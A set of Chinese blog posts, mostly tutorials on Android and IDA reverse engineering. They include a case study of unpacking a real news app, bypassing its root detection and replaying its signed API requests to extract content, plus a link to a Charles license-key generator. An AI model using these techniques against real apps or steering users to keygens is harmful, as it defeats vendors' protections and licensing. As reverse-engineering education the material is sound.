Toast.makeText(this, "The flag hides where you can't see~", Toast.LENGTH_SHORT).show(); // 链式调用，这样不需要再显式创建对象

`TextView` 组件#

TextView 组件用于向用户显示文本，其基本的 XML 为：

1
<TextView
2
  android:id="@+id/textView"
3
  android:layout_width="wrap_content"
4
  android:layout_height="wrap_content"
5
  android:text="Hello World!"
6
  />

一个更改 TextView 组件内文本的示例：

1
TextView TipText = findViewById(R.id.textView2);
2
TipText.setText("I want a CAT");

有时我们想和之前 Button 下的 onClick 联动，此时：

1
public class MainActivity extends AppCompatActivity {
2

3
  private TextView TipText; // 声明为成员变量，便于整个类中访问
4

5
  @Override
6
    protected void onCreate(Bundle savedInstanceState) {
7
      // ...
8

9
      Button WelcomeButton = (Button) findViewById(R.id.button2);
10
      TipText = findViewById(R.id.textView2);
11

12
      WelcomeButton.setOnClickListener(this);
13
  }
14

15
  @Override
16
  public void onClick(View v){
17
  Log.d("Watermelonabc", "Get Your Third FLAG!");
18
  Toast.makeText(this, "The flag hides where you can't see~", Toast.LENGTH_SHORT).show();
19
  TipText.setText("I want a CAT");
20
  }
21
}

展开收起

`EditView` 组件#

EditView 用于输入和修改文本。基本 XML 为：

1
<EditText
2
      android:id="@+id/plain_text_input"
3
      android:layout_height="wrap_content"
4
      android:layout_width="match_parent"
5
      android:inputType="text"/>

定义一个编辑文本小部件时，必须指定 inputType 属性。例如，对于纯文本输入，将 inputType 设置为 "text"。在 Design 视图中，EditView 就呈现为多个属性变种。inputType 配置了显示的键盘类型、可接受的字符以及编辑文本的外观。

我们主要解读这些用法：

1
private EditText Pwd;
2

3
// ...
4

5
String password = Pwd.getText().toString().trim();
6

7
if (TextUtils.isEmpty(password)) {
8
    Toast.makeText(this, "Password is Empty!", Toast.LENGTH_SHORT).show();
9
}
10

11
//...
12

13
Pwd.setText("fakeflag{You_are_poor!!!}");

getText() 返回 Editable 类型，需要用 toString 转化为 String 类型才能使用。trim 用于删除头尾空格。

TextUtils 字面意思就是“文本工具”，isEmpty 方法用于检查字符串是否为空。

setText() 就是修改编辑框内容。

字符串定位#

涉及到 strings.xml、R.java 和 public.xml（不一定有）。

strings.xml 提供了字符串名称和字符串内容的对应关系，是 APP 内字符串定义的集中点。将字符串集中定义在 strings.xml 中，还可以让 AS 辅助实现多语言支持，此时翻译后的字符串就会保存在 values_<lang>/strings.xml 中。当然，翻译需要自行设定，因此逆向一般只关注 values/strings.xml 即可

R.java 是编译时生成的，提供了字符串名称和索引值 id 的对应关系。在 APP 编译后，代码中的 R.string.xxx 就会被替换为对应的索引值。

曾经逆向者需要借助 resources.arsc 才能恢复 R.java，但现在 JADX 等工具已经可以自动完成这一步了。

public.xml 也是编译时生成，提供索引值和字符串名称的对应关系。

两个的区别？

R.java 由编译器自动生成。如果资源发生变化，那么 R.java 的索引值也可能发生变化。如果在开发中有需要固定索引值的需求，那么就需要手动编写 public.xml。

由于当前工具已经可以很好地恢复 R.java，因此 public.xml 不是必要的。这更多是一个“路标”，指向高价值的目标（毕竟需要手动编写）。

如果 strings.xml 里面没有，那么就可能在 native 层里，需要反编译 so 文件了。

意图#

“意图”(intent) 是一个消息传递对象，用于请求调用其他应用组件以执行操作，例如点击链接就跳转到浏览器就是“意图”在起作用。

Android 逆向入门#

总的来说，Android 逆向可以分为 Java 层逆向和 Native 层逆向。

Java 层逆向#

使用 Jadx、GDA、JEB 等 Android 反编译工具就是在 Java 层进行逆向，你看到的是 Java 代码。Java 层逆向是相对简单的。

除了重现算法，我们还可以对 APP 进行 Hook。这种技术允许开发者或安全人员在不修改应用程序源代码的情况下，对 APP 进行定制、调试或修改。

Note

钩子编程 (hooking)，也称作“挂钩”，是计算机程序设计术语，指通过拦截软件模块间的函数调用、消息传递、事件传递来修改或扩展操作系统、应用程序或其他软件组件的行为的各种技术。处理被拦截的函数调用、事件、消息的代码，被称为钩子 (hook)。 ——钩子编程在 Android 平台上，Hook 的目标事件的粒度一般为函数级别，即在指定函数被调用时执行我们 Hook 的代码，根据我们的逻辑拦截修改原有的函数响应。

Android Hook 方案五花八门，不是我们这一篇入门文章可以讲得完的。所以，画饼开始目前常用的 Hook 框架有 Frida 系和 Xposed 系，但这两种都需要 Root……当调试环境有问题时，可以使用 Unidbg 系框架模拟执行或者直接看字节码（汇编）。

拿到要破解的 APP 的 apk

反编译 Java 代码

搜索关键字，阅读 Java 代码逻辑

写 Hook 工具

获取到我们想要的数据

拿到要破解的 APP 的 apk

反编译 Java 代码

搜索关键字，阅读 Java 代码逻辑

写 Hook 工具

获取到我们想要的数据

Native 层逆向#

有些任务使用 Java 完成并不容易，因此 Java 提供了 Native 方法，即调用非 Java 编写的函数。Native 方法通常使用 C/C++ 编写，其实现保存在 so 文件中。一般的 Android 反编译工具无法看到 Native 层的代码，所以高级点的 APP 会将加密逻辑写在 Native 层。但由于 so 文件用 C/C++ 编写，因此可以用 IDA 反编译它。

如果你在 Java 层代码中看到了 native xxx func()，就需要去看 so 文件了

Note

我在编写 APP 调用 Native 库函数解密 API KEY看到作者直接调用 Native 库重新写了一个 APP……

Tip

当 IDA 无法胜任静态调试且动态调试也受阻的话，就需要上面提到的 Hook 了。

Java 代码和 Native 代码通过 Java Native Interface (JNI) 进行交互。由于被调用的 Native 方法必须被 JNI 注册，因此变相提供了方法索引，有利于逆向分析。

JNI 注册分为静态注册和动态注册。

在静态注册中，Java 方法和 Native 函数的映射关系由 JVM 自动设置，并遵循固定的命名规则：Java_[包名]_[类名]_[方法名]，例如 Java_com_example_ezandroidpro_MainActivity_check。由此可见，静态注册暴露了函数的 Native 属性、调用位置及函数名，使得逆向者很容易就能找到 Java 代码和 Native 函数的关联模式。

在动态注册中，Java 方法和 Native 函数的映射关系由开发者通过 JNINativeMethod 注册表和 JNI_OnLoad 函数手动指定。由于是手动指定，因此 Native 函数可以随意命名，只要注册表正确即可。开发者还可以对注册表进行动态加解密，提高破解难度。

一个简单的 JNI_OnLoad 函数：

1
// 注册函数映射
2
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
3
    JNIEnv* env;
4

5
    // 获取环境
6
    if (vm->GetEnv(reinterpret_cast<void**>(&env), JNI_VERSION_1_6) != JNI_OK) {
7
        return JNI_ERR;
8
    }
9

10
    // 找到类。为了实现这一点，JNI_OnLoad 是从正确的类加载器上下文中被调用的。
11
    jclass c = env->FindClass("com/example/app/package/MyClass");
12
    if (c == nullptr) return JNI_ERR;
13

14
    // 在 {} 里面进行方法映射编写，每个条目的第一个参数是 Java 层方法名，第二个是方法签名，第三个是 C++ 形式签名（括号内是方法返回值类型）
15
    static const JNINativeMethod methods[] = {
16
        {"nativeFoo", "()V", reinterpret_cast<void*>(nativeFoo)},
17
        {"nativeBar", "(Ljava/lang/String;I)Z", reinterpret_cast<void*>(nativeBar)},
18
    };
19

20
    // 动态注册本地方法
21
    // RegisterNatives(JNI 对象, 目标类, 方法映射表, 方法个数)。此处 JNI 对象作为 env 的 this 指针被省略了，是 C++ 的语法糖
22
    int rc = env->RegisterNatives(c, methods, sizeof(methods)/sizeof(JNINativeMethod));
23
    if (rc != JNI_OK) return rc;
24

25
    //返回 Java 版本
26
    return JNI_VERSION_1_6;
27
}

展开收起

其中 methods 变量属于 JNINativeMethod 结构体，用于映射 Java 方法与 C/C++ 函数的关系，其定义如下:

1
typedef struct {
2
    const char* name;     // Java 层对应的方法名称
3
    const char* signature;// 该方法的返回值类型和参数类型
4
    void*       fnPtr;    // Native 中对应的函数指针
5
} JNINativeMethod;

JNI_OnLoad 函数的第一个参数是 JavaVM 指针类型，这里 IDA 不能自动识别，所以需要手动修复一下，这有助于帮你理解代码。

加壳#

为了保护代码，现在 App 一般会选择加壳。Java 层的壳已经有一些成熟的工具（比如 56.al）可以解出 Dex。真正麻烦的是对 Native 库的加壳。

你可以使用 MT 管理器或者 ApkCheckPack 查壳。前者的查壳效果会更好，而后者则有更全面的特征检测。

内存映射#

使用 adb shell cat /proc/<pid>/maps 命令可以查看对应 <pid> APP 的内存映射。输出的每一行是一段连续的内存区域：

Terminal window

1
7b4a000000-7b4a080000 r-xp 00000000 fd:05 1234  /system/lib64/libc.so
2
7b4a080000-7b4a081000 r--p 00080000 fd:05 1234  /system/lib64/libc.so
3
7b4a081000-7b4a083000 rw-p 00081000 fd:05 1234  /system/lib64/libc.so

抓包#

与 PC 端不同，手机端的应用大多是联网的，很多数据都是在服务端处理后再返回给本地应用。因此需要从服务器获取我们想要的数据。

怎么办？入侵服务器？不需要。服务器通过客户端发送的请求信息来决定要不要返回、返回什么。为了鉴权，请求头中往往会附带一个签名字段，而签名字段生成算法就在 APP 中。因此抓包的目的就在于确认哪些字段属于鉴权字段，并通过已有的抓包结果验证逆向的正确性。

抓包工具有很多种类，比如全局抓包、代理抓包、VPN 抓包、网卡抓包、手机抓包、Hook 抓包等。

Reqable#

相较于后面介绍的软件，Reqable 是比较简单易用的。别的不说，傻瓜式配置手机端流量转发这一项就已经遥遥领先（

官网：https://reqable.com/zh-CN/

Reqable 的抓包结果保存为 .har，因此可以被 Charles 读取

Charles#

Charles 是一个代理抓包工具。

Charles 安装：https://www.charlesproxy.com/ 和激活码计算器：https://www.zzzmode.com/mytools/charles/

那我的汉化这一块？

Charles 5 暂时找不到公开的汉化耶 o-O 要汉化的话就是 4.x 了，52 上面找找？反正 IDA 全英文也没碍着你做逆向耶

对于 Linux 用户，不建议使用包管理器（例如 YUM 的包没有 GUI，也没有报错）

ProxyPin#

ProxyPin 最大的优势就是真开源 :)

项目地址：https://github.com/wanghongenpin/proxypin

示例#

我们一个真实 APP 作为案例说明。

APP 是 XX 新闻，较早的版本使用 MT 管理器查看发现加了支付宝加固 (Ali Shield)。

实机运行发现有 Root 检测，将其加入管理器的排除列表即可。

然后使用 Reqable 抓包，发现一个感兴趣的包：

1
POST /aaa/bbb/Get***Data HTTP/1.1
2
DeviceInfo: {"Timestamp":"1787419954189","Model":"Pixel 2","Brand":"google","OS":"Android 15","Udid":"***","OSDetail":"15","Token":"0","UserId":-1,"Secret":"OThlMGYyMzRiYjUzOWRiOTc0MDY5N2RkODgzODYwMmQ\u003d","Version":"***","JPushRegId":"***","VersionCode":"***","CityName":"***"} // [!code highlight]
3
Content-Type: application/json; charset=UTF-8
4
Content-Length: 38
5
Host: ***
6
Connection: Keep-Alive
7
Accept-Encoding: gzip
8
Cookie: acw_tc=***
9
User-Agent: okhttp/4.9.3
10

11
{"cId":3001,"timestamp":0,"pageNum":1}

这个接口返回了 APP 头条的标题、封面和具体内容等信息，是非常有价值的。

首先尝试重放参数：

1
import requests
2

3
headers = {...}
4

5
cookie = {...}
6

7
url = "***"
8
data = '{"cId": 3001,"timestamp": 0,"pageNum": 1}'.encode(
9
    'utf-8', 'surrogateescape')
10
response = requests.post(url, data=data, headers=headers, cookies=cookie)
11

12
print(response.text)
13
print(response)

得到：

Terminal window

1
{"Code":143,"ResultMsg":"请求已过期."}
2
<Response [200]>

因此请求有失效时间。通过多个包的比较，可以发现变化的只有 Timestamp 和 Secret 两个值。因此 Secret 就是本次的目标。

使用 56.al 脱壳，使用 Jadx 分析 Dex 文件，搜索“Secret”就可以发现一个和 APP 包名有关的类：

1
package com.***.authlib;
2

3
import android.content.Context;
4

5
public class NativeLib {
6
    static {
7
        System.loadLibrary("authlib");
8
    }
9

10
    public static native String getSecret(Context context, String str);
11
}

这是一个 Native 方法。用 Apktool 解包 APK 得到 libauthlib.so。

后面可以交给 LLM 一把梭了。这个 DeepSeek V4 Pro 可以胜任，给 SRE 工具接个 MCP 就好。生啃汇编还是太权威了

新版的壳换成梆梆企业版了，并且代理检测也更加严格 :( 不过，既然旧版能用那么接口应该是没有什么变化的

如果不生啃汇编呢？用 Frida 可以么？这个 APP 是有 Frida 检测的，因此比较困难，To be contiune…

IDA类型修复

Mon, 07 Jul 2025 22:42:25 GMT

在正向编译过程中，编译器会删除大量辅助信息，例如类型信息。恢复类型信息可以让 IDA 生成更加接近源码的伪代码，有利于减轻工作量。

函数修复#

函数修复主要看三点：返回类型、调用方式和参数列表。

返回类型修复，主要判断函数的返回类型是否有意义。这里的“有意义”指的是返回值被引用，或者有表达式使用了返回值。

比如，我们发现这个函数的返回值没有其他变量/函数接收：

1
sub_4011F0(Destination);

再查找这个函数的交叉引用，发现仅有此处调用函数，于是判断这个函数的返回值是没有意义的。

对该函数按下 Y 键，修改函数返回类型为 void：

1
void __cdecl sub_4011F0(char *al)

Tip

之后大部分的类型修复都可以使用 Y 键。由于是直接修改定义，所以 Y 键也可以顶替 N 键的作用。

调用方式修复，主要是函数套函数，以内层函数的调用方式作为参考，一般修复为 __cdecl。

参数列表修复，一种是删除无用变量（有些变量 IDA 会以橙色标出），另一种是下一小节的“基本类型修复”。

出现 `Bad declaration`#

IDA 生成的/你修改的函数原型中出现不符合 IDA C 语言风格的语法。

但是既然 IDA 可以生成，那么为什么不让我改呢？有点“只许州官放火，不许百姓点灯”了。

主要原因有（GPT-5 模型生成）：

C 语法错误

括号/方括号/尖括号不成对
分号、逗号缺失
类型或调用约定拼写错误
参数声明里出现非法符号（:、::、<> 等）

IDA 不支持的 C/C++ 特性

模板 template<>
C++ 作用域解析 ClassName::method
位域声明 int x:3
某些宏（__declspec、constexpr 等）

非标准扩展或奇怪的符号名

冒号、空格、运算符重载标记
C++11 之后的语法（auto、&& 等）

基本类型修复#

一个最常见的错误：指针类型识别为整数类型。

1
int __cdecl sub_401270(int a1, const *a2, int a3)
2
{
3
  signed int v3;
4
  int result;
5
  signed int v5;
6

7
  v5 = 0;
8
  v3 = strlen(a2);
9
  while( v5 < v3 )
10
  {
11
    *(_BYTE *)(a3 + *(_DWORD *)(a1 + 4 * v5)) = a2[v5]; // notice this
12
    ++v5;
13
  }
14
  result = v5 + a3;
15
  *(_BYTE *)(v5+ a3) = 0;
16
  return result;
17
}

此处的 a1 应为 int*，a3 应为 char*。

修复后的伪代码长这样：

1
int __cdecl sub_401270(int *a1, const *a2, char *a3)
2
{
3
  signed int v3;
4
  int *result;
5
  signed int v5;
6

7
  v5 = 0;
8
  v3 = strlen(a2);
9
  while( v5 < v3 )
10
  {
11
    a3[a1[v5]] = a2[v5];
12
    ++v5;
13
  }
14
  result = &a3[v5];
15
  a3[v5] = 0;
16
  return result;
17
}

继续修复，得到：

1
void __cdecl sub_401270(int *a1, const *a2, char *a3)
2
{
3
  signed int v3;
4
  signed int v4;
5

6
  v4 = 0;
7
  v3 = strlen(a2);
8
  while( v4 < v3 )
9
  {
10
    a3[a1[v4]] = a2[v4];
11
    ++v4;
12
  }
13
  a3[v4] = 0;
14
}

数组修复#

数组修复考虑数组类型和数组大小，分为局部变量定义的数组和全局变量定义的数组。对于数组大小，可以看看是否有引用未经初始化的数组。

例如，这是一个局部变量数组的修复：

1
char Str[5];
2
char Source[47];
3
// ...
4
scanf("%s", (char)Str);
5
if ( sub_40100(Str, "flag{") != (_DWORD)Str || Source[32] != 125)

这里的 Source 非常奇怪，因为我们没有在它的作用域内找到任何有关于它的初始化信息，但伪代码却很坦然地接受了这个“非法”数组的引用。

实际上，Str 和 Source 是一个数组，但 IDA 错误地识别了数组大小，将 Str 硬生生拆出来一个 Source 数组。

如何恢复？5 + 47 = 52，于是我们将 Str 的大小恢复成 52 即可。在此函数的栈帧内修改

全局变量定义的数组则需要在分析完其交叉引用后确定它的类型和大小信息，修复则需要在 .data 段里（IDA-View 视图）对数组首项点击右键，选择“Array…”，修改“Array size”项。（或者按 D 键）

枚举值修复#

C/C++ 程序非常依赖各种宏（这里也称“枚举”）值，这些枚举值控制着程序的一些功能。IDA 的类型数据库内置了常见的枚举值，可以手动引入并修复。

例如，在反调试技术与应对手段中，我们提到了 ptrace() 函数。在反编译时，该函数的第一个参数会直接替换为常量值，换句话说，我们丢失了这个枚举值的语义。

1
ptrace(12LL, pid, 0LL, &regs)

要修复，选中 12LL，按下 M 键，选择对应的常量值及其符号名。

1
ptrace(PTRACE_GETREGS, pid, 0LL, &regs) // 注意枚举值名可能不一样

这些枚举值的含义可能需要查阅另外的函数文档。

结构体修复#

一些虚拟机逆向需要我们自行修复结构体，最明显的伪代码特点是：对于一个基地址，以固定的偏移值访问连续的指针并赋值，如：

1
*a1 = 0;
2
*(a1 + 4) = 18;
3
*(a1 + 8) = 0;
4
*(a1 + 12) = 0;
5
*(a1 + 16) = &unk_202060;
6
// ...

要修复结构体，可以遵循以下步骤：

确定结构体大小
- 如果有像 malloc 或 new 等显式分配内存的语句，可以直接确定结构体大小。
- 还可以通过构造函数、拷贝函数中的 memcpy 或者局部变量偏移差来间接确定结构体大小
创建相等大小的匿名结构体在“Structures”视图（从 9.0 开始，改名为“Local Types”），右键选择“Add struct type…”（或者按 Insert 键），创建一个结构体，然后按 D 键往新建的结构体里添加字段，填充结构体到先前获得的大小。
修改相关变量、参数类型为结构体 Y 键修改变量类型，或者右键选择“Convert to struct *…”，选择结构体。
调整字段大小点击 D 键可以轮换字段数据类型。如果在伪代码发现数组结构，则需要修改为数组（右键点击基字段，选择“Array…”转换为数组）

以上步骤不必死板执行。例如，如果你在一个结构体中发现了重复的模式，那么你可以将这个模式独立出来设置一个结构体，然后在原来的结构体中增加一个类型为新结构体的成员。

虚表修复#

虚表修复主要是为了重建虚表交叉引用。

具体步骤：

找到虚函数表
创建结构体，复制虚表内容
再次创建结构体，设置这个结构体第一个成员的类型为之前创建的结构体指针

得到正常函数名

到旗山了

Mon, 07 Jul 2025 13:57:16 GMT

大一结束，昨天从铜盘搬到旗山主校区了！

主包昨天早上 5 点起来收拾剩下的东西（堆积的衣物在前天已经收拾到压缩袋里打包），有些东西直接“断舍离”了——虽然它们仍大有用处，但我不想长途跋涉上铜盘了，累了

这些就送给阿姨们了（

计院是有配云梯送大件包裹的，减轻了很多负担，有的院听说是人工搬运，那就很惨了。

最终，我坐上十点钟发的最后一辆大巴（车里加上我和导员只有 5 名乘客），离开了铜盘校区。

刚到旗山的宿舍，虽然导员已经打好预防针，一位先遣舍友已经看过宿舍，但我仍然有一种“天崩”的感觉：明显更小的空间，脏黑的床侧台阶，天花板飘落的墙粉……我感到整间宿舍暗了几分——这不全是主观感受，因为旗山宿舍只有一组照明灯！

到阳台一看：布满青苔的水池、干湿不分离的卫浴和黄黑的坑位已经预示着一场恶战。

由于 ROIS 的夏令营，我需要留宿一周多，而我的宿舍需要粉刷，不得不紧急找个舍友“拼好舍”。在留宿申请表中，我一番选择，最终去找我的小队长 Hackun 了。

他周二才回来，于是我先入住。但他的宿舍条件同样不容乐观：同样脏乱的卫浴，同样布满青苔的水池。就在我晚饭后回来时，“惊奇”地发现他一位舍友桌后有一团黑影闪过。我惊呼一声，迅速关门，跑到附近的便利店买了瓶“正点”杀虫剂，把宿舍密闭起来，喷洒了“正点”。

等待二三十分钟后，我打开门通风，准备整理我的行李。就在我挪开装有床铺的编织袋时，低头一看，一只正在挣扎的“双马尾”赫然出现。

我跳到宿舍门前，拿起气罐，对着它喷洒了大量杀虫剂。廉价的桂花香气在宿舍里弥漫，而它虽然翻起肚皮，却依然挥舞着肢体。我没有心思等它完全似去，于是垫了几层抽纸将它碾死，扫进了垃圾袋。

啊啊啊啊宝宝你是一只香香软软甜甜糯糯酥酥脆脆滑滑嫩嫩叮叮咚咚古古怪怪绵绵密密弹弹润润丝丝滑滑蓬蓬松松细细软软密密实实的小 ZL！ ⬆ 打 CTF 打的

今天早上，我给 Hackun 宿舍的一些地方做了清洁，比如说用洁厕灵把坑位污渍刷洗干净。这个时候我才发现这些污垢并没有我想象中那么难以清理，至少在洁厕灵的作用下，这个坑位算是焕然一新。

但水池的情况并不乐观。就在我放水清理时，我才发现：它 TM 堵了！于是紧急用永辉送了管道疏通剂过来，现在还在艰难尝试中，毫无畅通迹象

后面明白了，不是有东西堵住了，而是伸缩塑料管中间折太狠了，水下不去（

下午两三点时来了位叔叔，询问后知道他是过来给每间宿舍做厕所清洁的。倒完清洁剂后他就要去别的宿舍了，走前和我吐槽了一番毕业生宿舍的卫生状况……

旗山的优点是大，校内外商业丰富；但缺点也是大，必须依赖交通工具，靠两条腿会死人的。

为你的Giscus换新装吧

Thu, 03 Jul 2025 18:35:32 GMT

Giscus 默认的 preferred_color_scheme 主题是 GitHub Light / Dark。虽然经典，但如果博客设置了自定义字体或者主题色，Giscus 就显得不是那么般配了。

当然，Giscus 提供了自定义主题的能力，需要引入自托管的 CSS：

1
data-theme: https://blog.watermelonabc.top/css/preferred_color_scheme.css

注意自托管的 CSS 文件不要通过 GitHub 的原始链接或 raw.githubusercontent.com，而应该通过部署网站域名获取。¹

Giscus Doc

您可以使用 CSS 文件的 URL 作为 data-theme 属性的值，而不是使用内置主题。该 URL 将被 giscus 用于构建 <link rel="stylesheet"> 元素，作为 <head> 元素的最后一个子元素。

由于 Stellar 暂时无法使用 preferred_color_scheme 以外的主题²，因此想要使用自定义主题色就需要将其他主题的配置“偷渡到” preferred_color_scheme.css 中。为了达到较好的明暗主题适配，建议准备好同一颜色主题下的亮/暗主题。Giscus 仓库已经存放了几个主题。我使用的是 Catppuccin Latte / Mocha。

接下来是引入自定义字体。根据 [suggestion] expose font family variables for custom themes 的描述，只需要在 CSS 前添加 @font-face（本地引入）或者 @import（CDN 引入）字体文件，然后定义：

1
:host,
2
html {
3
  --font-family-sans: <your sans serif font>;
4
  --font-family-monospace: <your monospace font>;
5
  --font-family-serif: <your serif font>;
6
  --font-family-default: var(--font-family-<X>);
7
}

就可以了！

现在你应该可以在本文的评论区看到 Giscus 的样式变化。

更多信息请参阅创建新主题。

Footnotes#

IDA疑难杂症

Sat, 28 Jun 2025 16:03:11 GMT

Note

Hex-Rays 官方文档：Failures and troubleshooting

函数大小限制#

IDA 反编译函数有一个最大大小限制（默认为 64 K），超过这个大小就会反编译失败，提示 Sorry, this node is too big to display 和 too big function

为了解决该问题，选择 Edit > Plugins > Hex-Rays Decompiler Options，在 Analysis option 3 中修改 Max function size to analyze in KB，这仅在当前分析的程序数据库中生效。

如果想要全局生效，可修改在 IDA 安装目录下的 cfg/hexrays.cfg 中 MAX_FUNCSIZE 的值（已有数据库不受影响，要修改请使用前一个方法）。当然，能提示函数太大也是有原因的，你需要花上更久的时间来反汇编。

Tip

在官方的示例中，有一个为默认限制大小的 3 倍的函数。

堆栈异常#

花指令那篇文章已经有提到过栈平衡，即 IDA 报错 positive sp value。

解决思路就是：检查函数中对栈进行操作的指令，并判断是否平衡。如果某些语句导致静态分析出来栈不平衡，要么修复堆栈，要么直接 nop 掉。

Warning

“指定地址处的栈指针高于初始栈指针。函数表现得如此奇怪导致无法反编译。如果您发现栈指针值不正确，请使用 IDA 中的 Alt-K（Edit > Functions > Change stack pointer）命令进行修改。”

这是 Hex-Rays 官方的说法，因此有的教程会教看栈指针，然后用 Alt + K 来平衡栈。

但如果出现花指令，用这个修复完后，看上去好像栈平衡了，反汇编还是可能报错。

栈指针主要是用来判断栈的偏移处于哪种状态下是平衡的。占比多的偏移值一般就是平衡状态下的偏移值。

我们更推荐先消灭花指令，然后通过 Patch 操作码使得堆栈平衡。

步骤：

看函数头尾，判断栈平衡头部 push、call、sub/add 了多少寄存器，尾部就要 pop、ret、add/sub 多少寄存器。
看函数中间，找破坏栈者一种是使用了栈的指令，另一个是函数调用约定。

函数调用约定

调用约定 (Calling Conventions) 描述了在特定架构和操作系统上函数传递参数以及返回值的方式。它还指定了函数名称的修饰方式。完整的调用约定发展表可见于 x86 calling conventions

栈过大就是 IDA 报错 too big stack frame，特征有：

修改 SP 寄存器时将栈改得非常大

1
add rsp, 4489FFDEh ; stack point: 1C8
2
nop word ptr [rax+rax+00000000h] ; stack point: -4489FE16 !

本质上仍然是堆栈异常。将造成异常的指令 nop 掉。

虚假堆栈变量

具有大偏移量的堆栈变量可能是错误创建的，或故意诱导的（例如，垃圾代码引用但实际未使用的大堆栈偏移量）。检查它们的最快方法是查看函数开头的堆栈变量定义并查找异常大的偏移量：

1
var_1ECB90 = byte ptr -1ECB90h
2
var_50 = dword ptr -50h
3

4
// ...
5

6
mov [ebp+var_4], var_1ECB90

要修复，请双击变量或按 Ctrl + K 打开堆栈帧编辑器，然后对错误的堆栈变量取消定义或删除。然后你需要编辑函数属性 (Alt + P)，并将局部变量区域减小到实际使用的大小，通常相当于最底部实际使用的变量的偏移量，例如上例中的 0x50

当然，我们可能要作最坏的打算——大堆栈是真实存在的。此时可能不得不以艰难的方式重新对其进行改造——从反汇编开始。

`switch` 无法识别#

switch 是一个多路分支，对于分支数较少的情况，编译器会直接编译成一堆 if-else 语句，于是反编译器也会反编译为一堆 if-else 语句。

但如果 case 数量比较多，if-else 就显得低效起来。此时开启优化的编译器会为 switch 编制一个跳转表 (jump table)，例如：

1
.L4:
2
    .quad   .L2
3
    .quad   .L10
4
    .quad   .L9
5
    .quad   .L8
6
    .quad   .L7
7
    .quad   .L6
8
    .quad   .L5
9
    .quad   .L3

跳转表中，每行放一个 case 代码段的首地址。

根据我的实验，在 GCC 15.1，开启优化的情况下，5 个 case（不计 default）就会触发多路分支优化，生成跳转表。

现代 CPU 的分支预测在不断优化，因此有时候，if-else 的性能会和 switch-case 语句持平甚至略微超过。因为分支预测有机会直接命中高频分支，而跳转表无论如何都要先查表。
这是受到编译器策略和硬件平台制约的。

然后程序先判断 switch 的控制表达式是否大于 case 范围，如果大于就跳到 .L2（对应 default 或者结束 switch）；如果在 case 范围内，就按照跳转表跳转到对应分区（64 位程序对应地址大小是 8 字节，还记得吗）：

1
cmp     DWORD PTR [rsp+12], 5
2
ja      .L2 ; default OR break
3
mov     eax, DWORD PTR [rsp+12]
4
jmp     [QWORD PTR .L4[0+rax*8]]

此时反编译器才会反编译为我们熟悉的 switch 语句。

总结起来，对于反编译器，这个跳转表就是识别 switch 语句的关键。跳转表分析不出来，我们就只有一条死路可走。

IDA 提供了修复跳转表的工具，即 Edit > Other > Specify switch idiom：

需要填写的字段有：

Address of jump table：跳转表的首地址，例如上面 .L4 的地址值
Number of elements：跳转表元素个数，即 case 数（包括 default）
Size of table element：跳转表元素大小。一般从 rax*<number> 处或者直接看跳转表元素得到，也可以根据程序架构判断
Element base value：跳转表偏移的基地址。可以是跳转表首地址，也可以是其他固定值
Start of the switch idiom：switch 语句开始匹配 case 的起始地址，例如上面 mov eax, DWORD PTR [rsp+12]
Input register of switch：switch(var) 中 var 对应的寄存器

另外需要勾选 Signed jump table elements

Decompile as call#

Note

参考：Igor’s tip of the week #71: Decompile as call Interactive operation | Hex-Rays Docs

一种是非标准的汇编指令（过于有能的手搓大佬……）导致 IDA 无法生成等效的 C 伪代码，并回退到 _asm 语句。

Note

“手工编写的汇编代码”是准确反汇编的主要障碍之一。 ——Disassembly Challenges

例如，下面的汇编来自 PowerPC 固件中的某个函数：

1
00000CB4     mtsprg0   r29

sprg0 是一个特殊寄存器 (Special Purpose Register)，但这里当成通用寄存器使用。由于一般用户不会调用系统指令，IDA 不会擅作处理，而是反汇编为：

1
__asm { mtsprg0   r29 }

但我们可以告诉反汇编器将特定的指令视为函数调用。以上面为例：

在反汇编视图中，将光标放在指令上。例如 mtsprg0 r29
使用 Edit > Other > Decompile as call…
输入函数原型，考虑输入/输出寄存器。这里是 void __usercall mtsgpr0(unsigned int value@<r29>);
按 F5 反汇编

另外一种是反汇编器优化导致常量传播 (Constant Propagation)，造成函数缺失/调用怪异。

常量传播

常量传播是一个替代表示式中已知常量的过程，类似于解决有一个已知量的线性方程组。常量传播在编译器中使用定义可达 (Reaching definition) 分析实现，如果一个变量的所有可达定义都是赋予相同的数值（即这个赋值将同一个常量赋给变量），那么这个变量将会是一个常量，而且会被常量取代。 ——Constant folding

1
mov rax, fs:0
2
; other code
3
mov rax, fs:0

IDA 会认为这两次读取 fs:0 的结果一样，反编译后只会保留第一次读取，第二次按常量传播优化掉：

1
v62 = __readfsqword(0);
2
; other code
3
v60 = v62; // after optimization

但 fs:0 真的不会改变吗？这个程序套了 VM 虚拟机保护，而 VM 是可以在读取一次 fs:0 后修改 fs:0 的！

VM 虚拟机保护

虚拟机可以自己定义一套指令，在程序中能有一套函数和结构解释自己定义的指令并执行功能。

VM（虚拟机保护）是一种基于虚拟机的代码保护技术。他将基于 x86 汇编系统中的可执行代码转换为字节码指令系统的代码。来达到不被轻易篡改和逆向的目的。

这里的虚拟机并不是指 VMWare/VirtualBox 之类的虚拟机，更像是一个用于解释系统函数的一个小型模拟器。

——那CTF，那VMre，那些事（一）

因此我们需要让 IDA 知道这是两次返回数不同的读取。

选中第一行的 mov rax, fs:0，用 Decompile as call.. 重定义为 __int64 getKey()。对下一句如法炮制，按 F5 就可以了。

一个综合性的例子来自强网杯，同样用了 VM 保护：

1
; ...
2

3
loc_36:
4
mov eax, 1337h ; sys_X (0x1337)
5
syscall ; trigger system call
6

7
loc_3D:
8
mov r15, qword ptr fs:loc_FD+3
9

10
loc_46:
11
cmp r15, qword ptr fs:loc_FD+3
12
jmp loc_A8C
13

14
loc_A8C:
15
mov [rbp+var_78], rax
16
; ...

系统调用

在 Linux 中，内核提供一些操作的接口给用户态的程序使用，这就是系统调用 (system call)。对于用户态的程序，其调用相应的接口的方式，是一条汇编指令 syscall。

比如说，创建子进程的操作，Linux 内核提供了 fork 这个系统调用作为接口。那么，如果用户态程序想调用这个内核提供的接口，其对应的汇编语句为（部分）：

1
movq $57, %rax ; AT&T style, 57 -> rax
2
syscall

syscall 这个指令会先查看此时 rax 的值，然后找到系统调用号为那个值的系统调用，然后执行相应的系统调用。我们可以在系统调用列表中找到，fork 这个系统调用的系统调用号是 57。于是，我们把 57 放入 rax 寄存器中，然后使用了 syscall 指令。这就是让内核执行了 fork。 ——Linux x86_64系统调用简介

